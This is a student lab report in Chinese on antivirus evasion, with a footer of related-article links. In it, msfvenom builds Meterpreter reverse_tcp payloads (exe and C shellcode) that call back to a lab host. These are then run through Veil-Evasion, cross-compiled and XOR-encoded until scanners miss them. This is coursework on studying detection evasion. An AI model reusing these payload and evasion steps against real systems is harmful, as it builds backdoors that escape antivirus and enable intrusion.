20155208 徐子涵 Exp3 免杀原理与实践
20155208 徐子涵 Exp3 免杀原理与实践
基础问题回答
(1)杀软是如何检测出恶意代码的?
一种是基于特征码的检测,另一种是基于恶意行为的检测。
(2)免杀是做什么?
在我看来,免杀就是要达到一个目的,这个目的就是避免你植入的后门程序或是其他的具有恶意行为的程序被杀毒软件给杀掉。
(3)免杀的基本方法有哪些?
免杀的基本方法有多次编译,有加壳,有使用异或或者加一等方法对shellcode进行修改从而让杀毒软件不能识别。
实验开始
msfvenom直接生成meterpreter可执行文件
(终于开始自己进行实验了,略微有一点激动)
首先我们先尝试生成一些简单的容易被识别出来的后门,msfvenom直接生成meterpreter可执行文件:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.129 PORT=5208 -f exe > xzh1.exe
这时会发现几乎所有的杀毒软件都能识别出这一后门,果然是堪称最简单的方法,怕是只有放在杀毒软件还没有出现的时候才会不被识别出来吧。

这样我们不妨试一试多编译几次,看看会不会产生不一样的结果:

我们来扫描一下,发现并没有什么比一丁点大一点的改变,这就很难受。

用Veil-Evasion平台
俗话说"魔高一尺道高一丈",既然简单的被杀了,那我们就再换一种简单的,这次我们用Veil-Evasion平台,不过首先面临的就是Veil-Evasion的安装,还没装的时候就听见很多大佬说安装十分麻烦,不是出错就是时间太长,我胆战心惊的试着装了一下:
在Kali终端中使用
sudo apt-get install veil安装安装完成后继续安装Veil-Evasion
安装完成后,在终端中使用veil命令进入应用,输入
use evasion进入veil-evasion
猜猜发生了什么!!!一次性成功,全程不超过10分钟,开心的不行。

然后输入use c/meterpreter/rev_tcp.py生成可执行文件,刚开始还傻乎乎的直接在文件夹中找,就是找不到生成的可执行文件,最后发现人家是在veil安装目录里面的,找到之后扫描一下

哇!有了一点点的小进步,说明不同的平台效果也是不一样的哎!

C语言调用Shellcode
再试用另一种方法,生命在于探索(虽然是在老师走过的路上重新走一遍,不过还是要自己走一遍的嘛)
- 使用
msf生成一个C语言格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.129 LPORT=5208 -f c

生成了一段代码,下面就是把他 在Linux平台交叉编译Windows应用

老老实实的按照老师的方法进行交叉编译,在这里就不盗用老师的图了。
生成的xzh3.exe复制到Win7_64实测可以回连到msfconsole
回连成功!!!

不过扫描一下,还是可疑率很高啊,还是要继续加油。
最后的尝试
最后尝试进行逐位异或,在CB中生成可执行文件,异或之后覆盖原代码并再次生成可执行文件,并尝试回连,回连成功,扫描一下吧


终于成功了!!!
实践总结与体会
好难啊,觉得第一次遇到这么多问题,还有好多知识要自己去进行学习,不过确实经历了这么多之后还是比较有成就感的,以后还是要继续努力啊,兴趣越来越大了。
- 离实战还缺些什么技术或步骤?
还有好多不足的地方,好多都是参照学长学姐的成果,最后才进行了一点点改变,还是要保持着自己的好奇心,多去思考多去发现,才会有更大的进步。
20155208 徐子涵 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- Spring错误——Spring 单元测试——Test class should have exactly one public constructor
背景:Spring 构建单元测试 错误 java.lang.Exception: Test class should have exactly one public constructor at or ...
- CBV与FBV
FBV FBV(function base views)就是在 url 中一个路径对应一个函数 urls.py urlpatterns = [ url(r'^admin/', admin.site.u ...
- inline-block有间隙的兼容处理
- 通过RequestContextHolder直接获取HttpServletRequest对象
问题 朋友遇到一个问题:他想在Service方法中使用HttpServletRequest的API,但是又不想把HttpServletRequest对象当作这个Service方法的参数传过来,原因是这 ...
- flink入门
wordCount POM文件需要导入的依赖: <dependency> <groupId>org.apache.flink</groupId> <artif ...
- C# wnform 请求http ( get , post 两种方式 )
1.Get请求 string strURL = "http://localhost/WinformSubmit.php?tel=11111&name=张三";System. ...
- ionic 解决APP安装到android上 状态栏显示黑色
首先移除原本的 cordova-plugin-statusbar 运行命令: cordova plugin rm cordova-plugin-statusbar 最后需要重新安装: cordova ...
- OpenStack 部署步骤详解(mitaka/ocata/一键部署)
正文 OpenStack作为一个由NASA(美国国家航空航天局)和Rackspace合作研发并发起的,开放源代码项目的云计算管理平台项目.具体知识我会在后面文章中做出介绍,本章主要按步骤给大家演示在C ...
- kafka producer 发送消息简介
kafka 的 topic 由 partition 组成,producer 会根据 key,选择一个 partition 发送消息,而 partition 有多个副本,副本有 leader 和 fol ...
- 判断是否存在某个字段hasOwnProperty
<script type="text/javascript"> var obj = { a: 1, fn ...